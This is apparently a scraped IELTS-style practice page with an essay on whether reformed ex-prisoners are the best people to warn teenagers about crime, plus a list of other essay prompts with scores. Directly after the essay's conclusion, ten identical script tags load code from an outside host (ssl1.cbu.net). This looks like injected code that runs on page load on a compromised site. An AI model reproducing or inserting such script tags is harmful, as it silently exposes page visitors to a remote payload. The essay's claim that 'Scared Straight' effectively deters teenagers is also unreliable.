Some people who have been in prison become good citizens later, and it is often argued that these are the best people to talk to teenagers about the dangers of committing a crime. To what extent do you agree or disagree?
The issue of whether reformed ex-prisoners are the best individuals to educate teenagers about the dangers of committing crimes becomes an ongoing debate. Many argue their personal experiences provide authentic perspectives that can resonate with young audiences. I partially agree with this issue to some extent which I delineate below.
On the one hand, former prisoners may not always be suitable role models. If former prisoners shared sensational stories that captivated impressionable teenagers, it would inadvertently glamorise crime. In this case, their talks might fail to deter risky behaviour and instead spark curiosity or admiration among young audiences, undermining this perplexing provision. Furthermore, some ex-offenders may lack the communication skills, considering how imprisonment likely damages their non-verbal cues, deciphering mixed signals to the youth. Without proper training, their talks might confuse or fail to resonate with teenagers, reducing the intended impact.
Looking from another perspective, I reckon that reformed ex-prisoners can powerfully influence teenagers. Their firsthand accounts of the illegal disputes — loss of freedom, family strain, and job struggles—offer authentic, relatable warnings that resonate deeply. For example, in the United States, programs like the "Scared Straight" initiative have involved ex-offenders in juvenile detention centres, effectively deterring some teenagers from criminal behaviour. Additionally, their transformation into good citizens can inspire hope, showing teenagers that there is nothing impossible. By sharing personal stories of regret and redemption, their lived and spiritual experiences provide a humanised perspective that is even more impactful to those who may distrust traditional authority figures.
In conclusion, from my standpoint, the involvement of ex-convicts to withstand the real consequences of executing crimes can be effective advocates for today’s youth due to their authentic experiences and relatable stories. However, this is as long as they are carefully selected under the control of an official organisation. <script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
- Some argue that patriotism is the primary cause of wars globally Others feel that it serves to prevent less ethical politicians from running a country and starting wars Discuss both views and give your opinion 89
- Many old buildings protected by law are part of a nation s history Some people think they should be knocked down and replaced by news ones How important is it to maintain old buildings Should history stand in the way of progress 84
- Today the expensive price of popular consumer products is because of the power of advertising and not real needs of people Do you agree or disagree 84
- People believe famous people s support towards international aid organisations draws attention to the problem while other think celebrities make the problem less important Discuss both views and give your opinion 95
- The shortage of housing in big cities can cause severe consequences and only government action can solve the problem To what extent do you agree or disagree 89